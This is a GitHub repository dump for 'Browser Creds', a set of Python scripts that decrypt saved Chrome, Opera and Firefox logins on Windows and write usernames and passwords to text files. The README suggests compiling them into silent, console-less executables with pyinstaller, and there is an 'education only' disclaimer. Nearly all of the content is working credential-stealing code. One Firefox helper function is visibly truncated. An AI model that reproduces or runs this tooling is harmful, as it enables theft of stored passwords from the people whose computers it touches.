├── .github └── FUNDING.yml ├── README.md ├── chrome.py ├── firefox.py ├── opera.py └── requirements.txt /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: HugoLB0 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Browser Creds 2 | this script will recover saved browsers logins into txt files. 3 | It currently only support windows 10. 4 | currently support : 5 | - Chrome 6 | - Opera 7 | - Firefox 8 | 9 | # To run it 10 | 11 | - make sure you have **python 3** installed. 12 | - install requirements: `pip3 install -r requirements.txt` 13 | - run it 14 | 15 | # Compile into exe 16 | this script can be compiled under exe file using **[pyinstaller](https://www.pyinstaller.org)** 17 | `pyinstaller --onefile --noconsole chrome.py` or firefox/opera 18 | 19 | ## Any donations are welcome 20 | Donations are welcome, it'll really help me to continue to maintain this project :) 21 | [![Donate with Bitcoin](https://en.cryptobadges.io/badge/big/1Bw82zC5FnVtw93ZrcALQTeZBXgtVWH75n)](https://en.cryptobadges.io/badge/big/1Bw82zC5FnVtw93ZrcALQTeZBXgtVWH75n) 22 | 23 | [![Donate with Ethereum](https://en.cryptobadges.io/badge/big/0x71b163e2fc5b2c10cd8cf0a2cc8917db6db57326)](https://en.cryptobadges.io/badge/big/0x71b163e2fc5b2c10cd8cf0a2cc8917db6db57326) 24 | 25 | # Disclaimer 26 | **THIS PROJECT IS FOR EDUCATION PURPOSE ONLY, DO NOT RUN IT WITHOUT PERMISSION!** **I AM NOT RESPONSIBLE FOR ANY DAMAGED CAUSED BY THE ILLEGAL USAGE OF THIS PROGRAM** 27 | 28 | -------------------------------------------------------------------------------- /chrome.py: -------------------------------------------------------------------------------- 1 | # Script to get chrome browser passwords in windows 2 | # Do not use for illegal purposes 3 | 4 | # requirements: pypiwin32, pycryptodome 5 | 6 | 7 | import os 8 | import getpass 9 | import win32crypt 10 | import shutil 11 | import json 12 | import sqlite3 13 | from datetime import datetime, timedelta 14 | from base64 import b64decode 15 | from Crypto.Cipher import DES3, AES 16 | 17 | def get_chrome_datetime(chromedate): 18 | """Return a `datetime.datetime` object from a chrome format datetime 19 | Since `chromedate` is formatted as the number of microseconds since January, 1601""" 20 | return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) 21 | 22 | def get_encryption_key(): 23 | local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") # find the Local State file 24 | with open(local_state_path, "r", encoding="utf-8") as f: 25 | local_state = f.read() 26 | local_state = json.loads(local_state) 27 | 28 | # decode the encryption key from Base64 29 | key = b64decode(local_state["os_crypt"]["encrypted_key"]) 30 | # remove DPAPI str 31 | key = key[5:] 32 | # return decrypted key that was originally encrypted 33 | # using a session key derived from current user's logon credentials 34 | # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html 35 | return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 36 | 37 | def decrypt_password(password, key): 38 | try: 39 | # get the initialization vector 40 | iv = password[3:15] 41 | password = password[15:] 42 | # generate cipher 43 | cipher = AES.new(key, AES.MODE_GCM, iv) 44 | # decrypt password 45 | return cipher.decrypt(password)[:-16].decode() 46 | except Exception as e: 47 | print(e) 48 | try: 49 | return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) 50 | except: 51 | # not supported 52 | return "" 53 | 54 | 55 | if __name__ == "__main__": 56 | # get the AES key 57 | key = get_encryption_key() 58 | # local sqlite Chrome database path 59 | db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") 60 | # copy the file to another location 61 | # as the database will be locked if chrome is currently running 62 | filename = "ChromeData.db" 63 | 64 | file = open("chrome_pwd.txt","w") # will save the creds into a txt file 65 | 66 | shutil.copyfile(db_path, filename) 67 | # connect to the database 68 | db = sqlite3.connect(filename) 69 | cursor = db.cursor() 70 | # `logins` table has the data we need 71 | cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") 72 | # iterate over all rows 73 | for row in cursor.fetchall(): 74 | origin_url = row[0] 75 | action_url = row[1] 76 | username = row[2] 77 | password = decrypt_password(row[3], key) 78 | date_created = row[4] 79 | date_last_used = row[5] 80 | if username or password: 81 | file.write(f"Origin URL: {origin_url}\n") 82 | file.write(f"Action URL: {action_url}\n") 83 | file.write(f"Username: {username}\n") 84 | file.write(f"Password: {password}\n") 85 | else: 86 | continue 87 | if date_created != 86400000000 and date_created: 88 | file.write(f"Creation date: {str(get_chrome_datetime(date_created))}\n") 89 | if date_last_used != 86400000000 and date_last_used: 90 | file.write(f"Last Used: {str(get_chrome_datetime(date_last_used))}\n") 91 | file.write("="*50) 92 | 93 | cursor.close() 94 | db.close() 95 | try: 96 | # try to remove the copied db file 97 | os.remove(filename) 98 | except: 99 | pass 100 | file.close() 101 | -------------------------------------------------------------------------------- /firefox.py: -------------------------------------------------------------------------------- 1 | # Script to get firefox browser passwords in windows 2 | # Do not use for illegal purposes 3 | 4 | # requirements: hmac, pycryptodome, pyasn1 5 | 6 | import sys 7 | import os 8 | import getpass 9 | import hmac 10 | import json 11 | import sqlite3 12 | from base64 import b64decode 13 | from pathlib import Path 14 | from binascii import hexlify, unhexlify 15 | from hashlib import sha1, pbkdf2_hmac 16 | from Crypto.Cipher import DES3, AES 17 | from Crypto.Util.number import long_to_bytes 18 | from Crypto.Util.Padding import unpad 19 | from optparse import OptionParser 20 | from pyasn1.codec.der import decoder 21 | 22 | def getShortLE(d, a): 23 | return unpack('L',(d)[a:a+4])[0] 27 | 28 | #minimal 'ASN1 to string' function for displaying Key3.db and key4.db contents 29 | asn1Types = { 0x30: 'SEQUENCE', 4:'OCTETSTRING', 6:'OBJECTIDENTIFIER', 2: 'INTEGER', 5:'NULL' } 30 | #http://oid-info.com/get/1.2.840.113549.2.9 31 | oidValues = { b'2a864886f70d010c050103': '1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC', 32 | b'2a864886f70d0307':'1.2.840.113549.3.7 des-ede3-cbc', 33 | b'2a864886f70d010101':'1.2.840.113549.1.1.1 pkcs-1', 34 | b'2a864886f70d01050d':'1.2.840.113549.1.5.13 pkcs5 pbes2', 35 | b'2a864886f70d01050c':'1.2.840.113549.1.5.12 pkcs5 PBKDF2', 36 | b'2a864886f70d0209':'1.2.840.113549.2.9 hmacWithSHA256', 37 | b'60864801650304012a':'2.16.840.1.101.3.4.1.42 aes256-CBC' 38 | } 39 | 40 | def printASN1(d, l, rl): 41 | type = d[0] 42 | length = d[1] 43 | if length&0x80 > 0: #http://luca.ntop.org/Teaching/Appunti/asn1.html, 44 | nByteLength = length&0x7f 45 | length = d[2] 46 | #Long form. Two to 127 octets. Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. 47 | skip=1 48 | else: 49 | skip=0 50 | #print ('%x:%x' % ( type, length )) 51 | if type==0x30: 52 | seqLen = length 53 | readLen = 0 54 | while seqLen>0: 55 | #print(seqLen, hexlify(d[2+readLen:])) 56 | len2 = printASN1(d[2+skip+readLen:], seqLen, rl+1) 57 | #print('l2=%x' % len2) 58 | seqLen = seqLen - len2 59 | readLen = readLen + len2 60 | return length+2 61 | elif type==6: #OID 62 | oidVal = hexlify(d[2:2+length]) 63 | 64 | return length+2 65 | elif type==4: #OCTETSTRING 66 | return length+2 67 | elif type==5: #NULL 68 | return length+2 69 | elif type==2: #INTEGER 70 | return length+2 71 | else: 72 | if length==l-2: 73 | return length 74 | 75 | #extract records from a BSD DB 1.85, hash mode 76 | #obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used 77 | def readBsddb(name): 78 | f = open(name,'rb') 79 | #http://download.oracle.com/berkeley-db/db.1.85.tar.gz 80 | header = f.read(4*15) 81 | magic = getLongBE(header,0) 82 | if magic != 0x61561: 83 | sys.exit() 84 | version = getLongBE(header,4) 85 | if version !=2: 86 | sys.exit() 87 | pagesize = getLongBE(header,12) 88 | nkeys = getLongBE(header,0x38) 89 | 90 | readkeys = 0 91 | page = 1 92 | nval = 0 93 | val = 1 94 | db1 = [] 95 | while (readkeys < nkeys): 96 | f.seek(pagesize*page) 97 | offsets = f.read((nkeys+1)* 4 +2) 98 | offsetVals = [] 99 | i=0 100 | nval = 0 101 | val = 1 102 | keys = 0 103 | while nval != val : 104 | keys +=1 105 | key = getShortLE(offsets,2+i) 106 | val = getShortLE(offsets,4+i) 107 | nval = getShortLE(offsets,8+i) 108 | #print 'key=0x%x, val=0x%x' % (key, val) 109 | offsetVals.append(key+ pagesize*page) 110 | offsetVals.append(val+ pagesize*page) 111 | readkeys += 1 112 | i += 4 113 | offsetVals.append(pagesize*(page+1)) 114 | valKey = sorted(offsetVals) 115 | for i in range( keys*2 ): 116 | #print '%x %x' % (valKey[i], valKey[i+1]) 117 | f.seek(valKey[i]) 118 | data = f.read(valKey[i+1] - valKey[i]) 119 | db1.append(data) 120 | page += 1 121 | #print 'offset=0x%x' % (page*pagesize) 122 | f.close() 123 | db = {} 124 | 125 | for i in range( 0, len(db1), 2): 126 | db[ db1[i+1] ] = db1[ i ] 127 | return db 128 | 129 | def decryptMoz3DES( globalSalt, masterPassword, entrySalt, encryptedData ): 130 | #see http://www.drh-consultancy.demon.co.uk/key3.html 131 | hp = sha1( globalSalt+masterPassword ).digest() 132 | pes = entrySalt + b'\x00'*(20-len(entrySalt)) 133 | chp = sha1( hp+entrySalt ).digest() 134 | k1 = hmac.new(chp, pes+entrySalt, sha1).digest() 135 | tk = hmac.new(chp, pes, sha1).digest() 136 | k2 = hmac.new(chp, tk+entrySalt, sha1).digest() 137 | k = k1+k2 138 | iv = k[-8:] 139 | key = k[:24] 140 | return DES3.new( key, DES3.MODE_CBC, iv).decrypt(encryptedData) 141 | 142 | def decodeLoginData(data): 143 | ''' 144 | SEQUENCE { 145 | OCTETSTRING b'f8000000000000000000000000000001' 146 | SEQUENCE { 147 | OBJECTIDENTIFIER 1.2.840.113549.3.7 des-ede3-cbc 148 | OCTETSTRING iv 8 bytes 149 | } 150 | OCTETSTRING encrypted 151 | } 152 | ''' 153 | asn1data = decoder.decode(b64decode(data)) #first base64 decoding, then ASN1DERdecode 154 | key_id = asn1data[0][0].asOctets() 155 | iv = asn1data[0][1][1].asOctets() 156 | ciphertext = asn1data[0][2].asOctets() 157 | return key_id, iv, ciphertext 158 | 159 | def getLoginData(): 160 | logins = [] 161 | #sqlite_file = Path(os.path.join(os.environ["USERPROFILE"], 162 | #"AppData", "Roaming", "Mozilla", "Firefox", 163 | #"Profiles", "6da3hl2n.default"))/ 'signons.sqlite' 164 | #json_file = Path(os.path.join(os.environ["USERPROFILE"], 165 | #"AppData", "Roaming", "Mozilla", "Firefox", 166 | #"Profiles", "6da3hl2n.default"))/ 'logins.json' 167 | #sqlite_file = Path(r'C:\Users\hugolb\AppData\Roaming\Mozilla\Firefox\Profiles\6da3hl2n.default-release') / 'signons.sqlite' 168 | #json_file = Path(r'C:\Users\hugolb\AppData\Roaming\Mozilla\Firefox\Profiles\yf8ut6lp.default-release')/ 'logins.json' 169 | if json_file.exists(): #since Firefox 32, json is used instead of sqlite3 170 | loginf = open( json_file, 'r').read() 171 | jsonLogins = json.loads(loginf) 172 | if 'logins' not in jsonLogins: 173 | #print ('error: no \'logins\' key in logins.json') 174 | return [] 175 | for row in jsonLogins['logins']: 176 | encUsername = row['encryptedUsername'] 177 | encPassword = row['encryptedPassword'] 178 | logins.append( (decodeLoginData(encUsername), decodeLoginData(encPassword), row['hostname']) ) 179 | return logins 180 | elif sqlite_file.exists(): #firefox < 32 181 | #print('sqlite') 182 | conn = sqlite3.connect(sqlite_file) 183 | c = conn.cursor() 184 | c.execute("SELECT * FROM moz_logins;") 185 | for row in c: 186 | encUsername = row[6] 187 | encPassword = row[7] 188 | if options.verbose>1: 189 | print (row[1], encUsername, encPassword) 190 | logins.append( (decodeLoginData(encUsername), decodeLoginData(encPassword), row[1]) ) 191 | return logins 192 | else: 193 | pass 194 | #print('missing logins.json or signons.sqlite') 195 | 196 | CKA_ID = unhexlify('f8000000000000000000000000000001') 197 | 198 | def extractSecretKey(masterPassword, keyData): #3DES 199 | #see http://www.drh-consultancy.demon.co.uk/key3.html 200 | pwdCheck = keyData[b'password-check'] 201 | entrySaltLen = pwdCheck[1] 202 | entrySalt = pwdCheck[3: 3+entrySaltLen] 203 | encryptedPasswd = pwdCheck[-16:] 204 | globalSalt = keyData[b'global-salt'] 205 | cleartextData = decryptMoz3DES( globalSalt, masterPassword, entrySalt, encryptedPasswd ) 206 | if cleartextData != b'password-check\x02\x02': 207 | sys.exit() 208 | 209 | if CKA_ID not in keyData: 210 | return None 211 | privKeyEntry = keyData[ CKA_ID ] 212 | saltLen = privKeyEntry[1] 213 | nameLen = privKeyEntry[2] 214 | #print 'saltLen=%d nameLen=%d' % (saltLen, nameLen) 215 | privKeyEntryASN1 = decoder.decode( privKeyEntry[3+saltLen+nameLen:] ) 216 | data = privKeyEntry[3+saltLen+nameLen:] 217 | #see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt 218 | ''' 219 | SEQUENCE { 220 | SEQUENCE { 221 | OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC 222 | SEQUENCE { 223 | OCTETSTRING entrySalt 224 | INTEGER 01 225 | } 226 | } 227 | OCTETSTRING privKeyData 228 | } 229 | ''' 230 | entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() 231 | privKeyData = privKeyEntryASN1[0][1].asOctets() 232 | privKey = decryptMoz3DES( globalSalt, masterPassword, entrySalt, privKeyData ) 233 | ''' 234 | SEQUENCE { 235 | INTEGER 00 236 | SEQUENCE { 237 | OBJECTIDENTIFIER 1.2.840.113549.1.1.1 pkcs-1 238 | NULL 0 239 | } 240 | OCTETSTRING prKey seq 241 | } 242 | ''' 243 | privKeyASN1 = decoder.decode( privKey ) 244 | prKey= privKeyASN1[0][2].asOctets() 245 | #print ('decoding %s' % hexlify(prKey)) 246 | #printASN1(prKey, len(prKey), 0) 247 | ''' 248 | SEQUENCE { 249 | INTEGER 00 250 | INTEGER 00f8000000000000000000000000000001 251 | INTEGER 00 252 | INTEGER 3DES_private_key 253 | INTEGER 00 254 | INTEGER 00 255 | INTEGER 00 256 | INTEGER 00 257 | INTEGER 15 258 | } 259 | ''' 260 | prKeyASN1 = decoder.decode( prKey ) 261 | id = prKeyASN1[0][1] 262 | key = long_to_bytes( prKeyASN1[0][3] ) 263 | if options.verbose>0: 264 | #print ('key=%s' % ( hexlify(key) )) 265 | pass 266 | return key 267 | 268 | def decryptPBE(decodedItem, masterPassword, globalSalt): 269 | pbeAlgo = str(decodedItem[0][0][0]) 270 | if pbeAlgo == '1.2.840.113549.1.12.5.1.3': #pbeWithSha1AndTripleDES-CBC 271 | """ 272 | SEQUENCE { 273 | SEQUENCE { 274 | OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 275 | SEQUENCE { 276 | OCTETSTRING entry_salt 277 | INTEGER 01 278 | } 279 | } 280 | OCTETSTRING encrypted 281 | } 282 | """ 283 | entrySalt = decodedItem[0][0][1][0].asOctets() 284 | cipherT = decodedItem[0][1].asOctets() 285 | #print('entrySalt:',hexlify(entrySalt)) 286 | key = decryptMoz3DES( globalSalt, masterPassword, entrySalt, cipherT ) 287 | #print(hexlify(key)) 288 | return key[:24], pbeAlgo 289 | elif pbeAlgo == '1.2.840.113549.1.5.13': #pkcs5 pbes2 290 | #https://phabricator.services.mozilla.com/rNSSfc636973ad06392d11597620b602779b4af312f6 291 | ''' 292 | SEQUENCE { 293 | SEQUENCE { 294 | OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2 295 | SEQUENCE { 296 | SEQUENCE { 297 | OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2 298 | SEQUENCE { 299 | OCTETSTRING 32 bytes, entrySalt 300 | INTEGER 01 301 | INTEGER 20 302 | SEQUENCE { 303 | OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256 304 | } 305 | } 306 | } 307 | SEQUENCE { 308 | OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC 309 | OCTETSTRING 14 bytes, iv 310 | } 311 | } 312 | } 313 | OCTETSTRING encrypted 314 | } 315 | ''' 316 | assert str(decodedItem[0][0][1][0][0]) == '1.2.840.113549.1.5.12' 317 | assert str(decodedItem[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' 318 | assert str(decodedItem[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' 319 | # https://tools.ietf.org/html/rfc8018#page-23 320 | entrySalt = decodedItem[0][0][1][0][1][0].asOctets() 321 | iterationCount = int(decodedItem[0][0][1][0][1][1]) 322 | keyLength = int(decodedItem[0][0][1][0][1][2]) 323 | assert keyLength == 32 324 | 325 | k = sha1(globalSalt+masterPassword).digest() 326 | key = pbkdf2_hmac('sha256', k, entrySalt, iterationCount, dklen=keyLength) 327 | 328 | iv = b'\x04\x0e'+decodedItem[0][0][1][1][1].asOctets() #https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 329 | # 04 is OCTETSTRING, 0x0e is length == 14 330 | cipherT = decodedItem[0][1].asOctets() 331 | clearText = AES.new(key, AES.MODE_CBC, iv).decrypt(cipherT) 332 | 333 | #print('clearText', hexlify(clearText)) 334 | return clearText, pbeAlgo 335 | 336 | def getKey( masterPassword, directory ): 337 | if (directory / 'key4.db').exists(): 338 | conn = sqlite3.connect(directory / 'key4.db') #firefox 58.0.2 / NSS 3.35 with key4.db in SQLite 339 | c = conn.cursor() 340 | #first check password 341 | c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") 342 | row = c.fetchone() 343 | globalSalt = row[0] #item1 344 | #print('globalSalt:',hexlify(globalSalt)) 345 | item2 = row[1] 346 | printASN1(item2, len(item2), 0) 347 | decodedItem2 = decoder.decode( item2 ) 348 | clearText, algo = decryptPBE( decodedItem2, masterPassword, globalSalt ) 349 | 350 | #print ('password check?', clearText==b'password-check\x02\x02') 351 | if clearText == b'password-check\x02\x02': 352 | c.execute("SELECT a11,a102 FROM nssPrivate;") 353 | for row in c: 354 | if row[0] != None: 355 | break 356 | a11 = row[0] #CKA_VALUE 357 | a102 = row[1] 358 | if a102 == CKA_ID: 359 | printASN1( a11, len(a11), 0) 360 | decoded_a11 = decoder.decode( a11 ) 361 | #decrypt master key 362 | clearText, algo = decryptPBE( decoded_a11, masterPassword, globalSalt ) 363 | return clearText[:24], algo 364 | else: 365 | print('no saved login/password') 366 | return None, None 367 | elif (directory / 'key3.db').exists(): 368 | keyData = readBsddb(directory / 'key3.db') 369 | key = extractSecretKey(masterPassword, keyData) 370 | return key, '1.2.840.113549.1.12.5.1.3' 371 | else: 372 | #print('cannot find key4.db or key3.db') 373 | return None, None 374 | 375 | 376 | 377 | 378 | 379 | def FindFiles(): 380 | global DirList 381 | DirList = [] 382 | for root, dirs, files in os.walk(Path(r'C:/Users/{}/AppData/Roaming/Mozilla/Firefox/Profiles/'.format(getpass.getuser()))): 383 | for dir in dirs: 384 | DirList.append(dir) 385 | if __name__ == "__main__": 386 | global sqlite_file, json_file 387 | FindFiles() 388 | 389 | with open("firefox_pwd.txt", "w", encoding="utf8") as f: 390 | for dir in DirList: 391 | try: 392 | key, algo = getKey(''.encode(), Path(os.path.join('C:/Users/{}/AppData/Roaming/Mozilla/Firefox/Profiles/'.format(getpass.getuser()), dir))) 393 | if key==None: 394 | #sys.exit() 395 | pass 396 | #print(hexlify(key)) 397 | sqlite_file = Path(os.path.join(os.environ["USERPROFILE"], 398 | "AppData", "Roaming", "Mozilla", "Firefox", 399 | "Profiles", dir))/ 'signons.sqlite' 400 | json_file = Path(os.path.join(os.environ["USERPROFILE"], 401 | "AppData", "Roaming", "Mozilla", "Firefox", 402 | "Profiles", dir))/ 'logins.json' 403 | logins = getLoginData() 404 | if len(logins)==0: 405 | print ('no stored passwords') 406 | else: 407 | #print ('decrypting login/password pairs' ) 408 | pass 409 | if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13': 410 | for i in logins: 411 | assert i[0][0] == CKA_ID 412 | #url = print('%20s:' % (i[2]),end='', file=f) #site URL 413 | url = (i[2]) 414 | iv = i[0][1] 415 | ciphertext = i[0][2] 416 | #username = print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ), end=',', file=f) 417 | username = unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ) 418 | iv = i[1][1] 419 | ciphertext = i[1][2] 420 | #password = print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ) , file=f) 421 | password = unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ) 422 | 423 | f.write(f"Url: {url} \n") 424 | f.write(f"Username: {username.decode('utf8')} \n") 425 | f.write(f"Password: {password.decode('utf8')} \n") 426 | except Exception as e: 427 | pass 428 | f.close() 429 | -------------------------------------------------------------------------------- /opera.py: -------------------------------------------------------------------------------- 1 | # Script to get opera browser passwords in windows 2 | # Do not use for illegal purposes 3 | 4 | # requirements: pypiwin32, pycryptodome 5 | 6 | 7 | import os 8 | import getpass 9 | import win32crypt 10 | import shutil 11 | import json 12 | import sqlite3 13 | from datetime import datetime, timedelta 14 | from base64 import b64decode 15 | from Crypto.Cipher import DES3, AES 16 | 17 | def get_chrome_datetime(chromedate): 18 | """Return a `datetime.datetime` object from a chrome format datetime 19 | Since `chromedate` is formatted as the number of microseconds since January, 1601""" 20 | return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) 21 | 22 | def get_encryption_key(): 23 | local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera Stable", "Local State") # find the Local State file 24 | with open(local_state_path, "r", encoding="utf-8") as f: 25 | local_state = f.read() 26 | local_state = json.loads(local_state) 27 | 28 | # decode the encryption key from Base64 29 | key = b64decode(local_state["os_crypt"]["encrypted_key"]) 30 | # remove DPAPI str 31 | key = key[5:] 32 | # return decrypted key that was originally encrypted 33 | # using a session key derived from current user's logon credentials 34 | # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html 35 | return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 36 | 37 | def decrypt_password(password, key): 38 | try: 39 | # get the initialization vector 40 | iv = password[3:15] 41 | password = password[15:] 42 | # generate cipher 43 | cipher = AES.new(key, AES.MODE_GCM, iv) 44 | # decrypt password 45 | return cipher.decrypt(password)[:-16].decode() 46 | except Exception as e: 47 | print(e) 48 | try: 49 | return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) 50 | except: 51 | # not supported 52 | return "" 53 | 54 | 55 | if __name__ == "__main__": 56 | # get the AES key 57 | key = get_encryption_key() 58 | # local sqlite Chrome database path 59 | db_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Roaming", "Opera Software", "Opera Stable", "Login Data") 60 | # copy the file to another location 61 | # as the database will be locked if chrome is currently running 62 | filename = "OperaData.db" 63 | 64 | file = open("opera_pwd.txt","w") # will save the creds into a txt file 65 | 66 | shutil.copyfile(db_path, filename) 67 | # connect to the database 68 | db = sqlite3.connect(filename) 69 | cursor = db.cursor() 70 | # `logins` table has the data we need 71 | cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") 72 | # iterate over all rows 73 | for row in cursor.fetchall(): 74 | origin_url = row[0] 75 | action_url = row[1] 76 | username = row[2] 77 | password = decrypt_password(row[3], key) 78 | date_created = row[4] 79 | date_last_used = row[5] 80 | if username or password: 81 | file.write(f"Origin URL: {origin_url}\n") 82 | file.write(f"Action URL: {action_url}\n") 83 | file.write(f"Username: {username}\n") 84 | file.write(f"Password: {password}\n") 85 | else: 86 | continue 87 | if date_created != 86400000000 and date_created: 88 | file.write(f"Creation date: {str(get_chrome_datetime(date_created))}\n") 89 | if date_last_used != 86400000000 and date_last_used: 90 | file.write(f"Last Used: {str(get_chrome_datetime(date_last_used))}\n") 91 | file.write("="*50) 92 | 93 | cursor.close() 94 | db.close() 95 | try: 96 | # try to remove the copied db file 97 | os.remove(filename) 98 | except: 99 | pass 100 | file.close() 101 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pypiwin32 2 | pycryptodome 3 | hmac 4 | pyasn1 5 | --------------------------------------------------------------------------------